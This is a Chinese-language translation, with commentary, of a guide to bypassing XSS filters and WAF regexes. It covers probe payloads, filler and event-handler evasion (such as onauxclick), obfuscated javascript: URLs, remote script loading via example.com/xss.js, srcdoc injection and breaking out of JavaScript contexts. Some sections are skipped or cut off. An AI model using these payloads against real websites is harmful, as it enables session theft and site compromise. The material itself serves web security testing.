绕过xss检测机制
文本采用(CC-BY-NC-ND)
非商用可转载,不可修改本文内容
===================
这是一篇翻译文章,翻译加自己的理解。嗯 不是机器翻译 是我理解后的翻译 谢谢
顺便我会尽可能加上场景和一些业务实际情况解读
原文叫做《Bypassing XSS Detection Mechanisms 》,是个pdf。。。 到时候可以发出来 吧
啊啊啊啊啊 翻译开始啦
摘要就不翻译了 没啥东西
对读者的话
作者假设,读者应该具有一定基础的xss,比如javascript,html编程能力、浏览器机制和渲染过程、基本的w3c协议规范等。
下文中的{string}是贯穿全文,用来当做payload占位符的。{?string}表示的是一个可选的payload选项
主要字符表示的是在payload中必须要有的字符,例如url encode和url unsafe code中的+号和&。
HTML文本
如果html input中的参数存在反射型xss,那么就是说这是一个存在于html上下文中的xss,也就是常说的html injection。
而根据xss出现的位置又可以进一步被分为几种情况。
标签内<input type="text" value="$input">
标签外<span>You entered $input</span>
外部的标签
对于开始创建一个html来说,"<"字符是主要字符。根据html规范,一个标签必须是字母开头的,根据这个原理,下面的这些payload就可以用来探测后端检测xss的正则是怎样的一个逻辑
● <svg - 如果通过检测, 没有进行任何标签检查 ● <dev -如果没有通过,后端正则可能是<[a-z]+ ● x<dev -如果通过了,后端可能是^<[a-z]+ ● <dEv - 如果没有通过, <[a-zA-Z]+ ● <d3V - 如果没有通过, <[a-zA-Z0-9]+ ● <d|3v - 如果没有通过, <.+
如果以上的payload都没通过,那么很可能是白名单之类的,那么就基本上无法绕过。我们不提倡这样的过滤方式,因为这些过滤方式误报率很高,而且以下任意一个位置如果被bypass了,那么将会有一大堆的payload爆发。。。举个荔枝
<{标签}{填充符}{事件}{?填充符}={?填充符}{javascript}{?填充符}{>,//,空格,Tab,LF}
一旦找到一个正常可用的标签后,下一步就是要猜测后端的正则是如何检测标签和事件之间的填充符的,以下payload就可以测试出结果。
注:填充符就是类似 <a onclick=xxx>中的空格,或者一些<img/onload>中的/ 用于填充的部分。
● <tag xxx - 如果不通过, 可能是{space} ● <tag%09xxx - 如果不通过, 可能是[\s] ● <tag%09%09xxx - 如果不通过, 可能是\s+ ● <tag/xxx - 如果不通过, 可能是[\s/]+ ● <tag%0axxx - 如果不通过, 可能是[\s\n]+ ● <tag%0dxxx> - 如果不通过, 可能是 [\s\n\r+]+ ● <tag/~/xxx - 如果不通过, 可能是 .+
htlm中的事件是payload编写和测试中非常重要的一部分,这些事件经常被一些类似on\w+开头的正则匹配到 或者是一些类似on(load|click|error|show).匹配的黑名单。用白名单来检测的一般比较难绕过,但是黑名单就比较容易多了,可以通过一些不为人知的,或者很少有人知道的一些事件来绕过这样的黑名单,毕竟黑名单可能不一定全。译者注:比如不同浏览器阵营对自己浏览器的一些新事件的支持,这个不是一般厂商会跟进和追踪的。
以上两种检测手段我们可以简单的通过以下两种方式来检测:
● <tag{filler}onxxx - 如果未通过, on\w+. 如果通过, on(load|click|error|show) ● <tag{filler}onclick - 如果通过, 目有任何检测
如果后端是检测on\w+的方式,那么。。任何on开头的事件都绕不过的。遇到这样的情况,直接跳过,想办法去绕过其他部分。如果后端是黑名单检查的,那只要找到一个不在黑名单中的事件就行了,如果真的有黑名单很厉害,都检测到了,那么。。。还是找其他的部分地方去绕。
以下几个事件是作者研究了很多waf后,觉得经常可以绕过的:
onauxclick ondblclick oncontextmenu onmouseleave ontouchcancel
=号右边的填充符的检测和上面提到的一样, 只有在以下payload 被waf干掉的情况下去测试
<标签{填充符}{事件}=d3v
下一个组件是javascript的执行。是payload的主要执行部分,这一部分由于是js部分,一般的正则表达式也无法去匹配若干种情况,而且可能和业务冲突。所以 ,payload的所有部分都放在了一起,只要闭合就可以了。
● <payload> ● <payload ● <payload{space}
● <payload// ● <payload%0a ● <payload%0d ● <payload%09
要注意的是,html规范支持这种情况
<tag{white space}{anything here}>
以至于以下这样的情况也是合法的
<a href='http://example.com' 这个地方可以是任何的字符,只要最后有一个”>“标记存在就行了!!!!是不是很厉害????好傻逼啊。。。>
这样就很有可能让黑客注入html了,比如:
<sCriPt{填充符}sRc{?填充符}={?填充符}{url}{?填充符}{>,//,Space,Tab,LF}
填充符和结束符的检测和前面提到的方法差不多。要注意的是,?可以在url的最后,如果url后没有填充符,而不是结束标签的时候。使用script标签很容易被规则检测到,但是object就不一定了。
如果用object的话 就是以下这样的表达方式:
<obJecT{填充符}data{?填充符}={?填充符}{url}{?填充符}{>,//,Space,Tab,LF}
接下来的payload有2种形式,简单的和混淆复杂的
简单的类型一般会被这样的表达式给捕获
href[\s]{0,}=[\s]{0,}javascript:
而通常的构造的结构一般是
<A{填充符}hReF{?填充符}={?填充符}JavaScript:{js内容}{?填充符}{>,//,Space,Tab,LF}
混淆复杂的情况的payload一般是这样:
<A{填充符}hReF{?填充符}={?填充符}{引号}{special}:{js内容}{quote}{?填充符}{>,//,Space,Tab,L F}
主要2者的区别在与 special部分和引号部分。special部分主要就是可以使用一些类似javascript之类的东西,当然这个部分是可以插入换行和制表符或者新行,比如以下
● j%0aAv%0dasCr%09ipt: ● J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a: ● J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:
一些数字的编码,8进制,16进制也可以帮你绕过检查,比如(傻逼编辑器只能让我这样操作)
这两种也可以放在一起用,比如:
可执行环境和不可执行环境
不可执行环境主要是类似以下这样情况的
<style> <title> <noembed> <template> <noscript> <textarea>
在这些标签里出现的内容一般都是不可执行的。要执行这样的标签,必须先闭合。以下payload也可以闭合这些标签
● </tag> ● </tAg/x> ● </tag{space}>
● </tag//> ● </tag%0a> ● </tag%0d> ● </tag%09>
内部标签
在属性内的
对于在属性内的xss来说,最主要的字符是单双引号,因为这样的xss需要闭合才可以执行。如果是以下这种反射型xss的话,那么主要字符就是双引号。
<input value="$input" type="text">
但是有些情况下就不一定要求闭合了,例如
<tag event_handler="function($input)">,
这种情况下就是直接在属性内直接执行了js函数了。
在"src"属性中
如果是类似在src属性中的xss的话,比如
<script src="$input">,
那就非常简单了,直接可以远程加载一个js就行了。翻译的我太尴尬了太尼玛弱智了
绕过url正则检测
● //example.com/xss.js bypasses http(?s):// ● ////////example.com/xss.js bypasses (?:http(?s):?)?// ● /\///\\/example.com/xss.js bypasses (?:http(?s):?)?//+
在"srcdoc"属性中
如果是在srcdoc属性中的类似
<iframe srcdoc="$input">
那么,可以通过
<iframe srcdoc="<svg/onload=alert()>"">
的方式绕过检查。
一般的属性
例如出现在value属性中的
<input type="text" value=""/onfocus="alert()$input">
像这种input框的xss,可以通过注入onclick onfocus hovering等一大堆的事件来触发检测,但是只是必须要闭合下引号,这类的xss我们可以抽象出来一个表达式
{引号}{填充符}{事件}{?填充符}={?填充符}{javascript}
检查引号是否会被waf干掉你只要直接输入下引号就行了。。。(这不是废话么-_-!)
有些事件是只能在areatext input等表单上的,有些事件只能在一些其他的对象上,不是所有的事件都是可以用于所有的document对象上的。但是以下这些事件是任何对象都可以的。
onclick onauxclick ondblclick ondrag ondragend ondragenter ondragexit ondragleave
ondragover ondragstart onmousedown onmouseenter onmouseleave onmousemove onmouseout onmouseover onmouseup
Javascript环境
在变量内
var name = '$input';
这种可以抽象出来
{引号}{分割符}{js代码}{分割符}{引号}
分割符一般就是类似“^”这种,一般出现在这种单引号内的可能就是以下这些情况
'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
payload情况2
{引号}{分割符}{javascript}//
例如
'<{javascript}//'
'|{javascript}//'
'^{javascript}//'
在代码块内
function example(age, subscription){ if (subscription){ if (age > 18){ another_function('$input'); } else{ console.log('Requirements not met.'); } }
如果像是这种在代码块内部的xss,那么就要先闭合代码块(。。。这个可以其实可以通过调整函数优先级,提前定义并执行。。作者这个比较常规)
比如我们输入
那么最后的代码就是
function example(age, subscription){ if (subscription){ if (age > 18){ another_function('');}}alert();if(true){(''); } else{ console.log('Requirements not met.'); } }
格式化下代码 看的更明白点
function example(age, subscription){
if (subscription){ if (age > 18){ another_function('');
} } alert(); if (true){ (''); } else{ console.log('Requirements not met.'); }
}
);闭合了函数调用
后面这些就不翻译了。。感觉就有点蠢。。。